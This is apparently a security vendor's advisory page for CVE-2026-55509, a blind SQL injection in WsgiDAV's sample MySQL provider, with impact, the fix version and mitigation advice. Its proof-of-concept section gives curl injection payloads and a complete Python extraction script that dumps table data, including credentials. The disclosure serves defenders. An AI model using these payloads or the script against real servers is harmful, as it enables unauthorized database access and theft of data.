CVE-2026-55509
Fix: mar10/wsgidav@6f35776CVE-2026-55509 is a SQL Injection vulnerability in wsgidav. O3 Security confirms whether CVE-2026-55509 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
WsgiDAV MySQL provider has a blind SQL injection
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55509.
Real-World Exposure
wsgidavReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The sample MySQLBrowserProvider builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction.
Note:
The MySQLBrowserProvider module is only provided as an example for WsgiDAV and not enabled by default.
Installations that do not explicitly activate the module in their configuration are not affected by this vulnerability.
Details
A path like /db/users/1 is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is SELECT id FROM testdb.users WHERE id = '<key>', so a single quote in the key breaks out of the literal and the rest runs as SQL.
The provider's numeric-type check has a typo (INTT instead of INT), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed.
The behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding.
PoC
Tested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share /db mapped to MySQLBrowserProvider, anonymous access.
Oracle, true then false:
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271"
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272"
Returns 500 then 404. The only difference is the injected condition ('1'='1' vs '1'='2'), proving the input is executed as SQL.
Data extraction over the same oracle (dump.py):
import urllib.parse, urllib.request, urllib.error
BASE = "http://127.0.0.1:8080/db/users/"
def truthy(cond):
url = BASE + urllib.parse.quote(f"0' OR ({cond}) OR '1'='2")
try:
urllib.request.urlopen(url); return True
except urllib.error.HTTPError as e:
return e.code != 404
def extract(expr, maxlen=128):
out = ""
for i in range(1, maxlen + 1):
if not truthy(f"SELECT ASCII(MID(({expr}),{i},1))>0"): break
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if truthy(f"SELECT ASCII(MID(({expr}),{i},1))>{mid}"): lo = mid + 1
else: hi = mid
out += chr(lo)
return out
print(extract("SELECT GROUP_CONCAT(name,0x3a,secret) FROM users"))
python dump.py
Prints alice:alice-password,bob:bob-token, confirming arbitrary read of table data with no auth.
Impact
Anyone who can read a MySQLBrowserProvider share can run read queries as the database account WsgiDAV connects with, which in practice exposes the whole reachable database. If that account has write or admin grants, the exposure extends further. Primary impact is confidentiality, with integrity at risk depending on the account's privileges.
Scope note: this is the shipped sample MySQL provider, not the default filesystem provider, so it only affects deployments that enable it. Real first-party code, but not a default-config issue.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | wsgidav | all versions | 4.3.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wsgidav. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update wsgidav to 4.3.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55509 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-55509 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-55509. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55509 in your dependencies?
O3 detects CVE-2026-55509 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.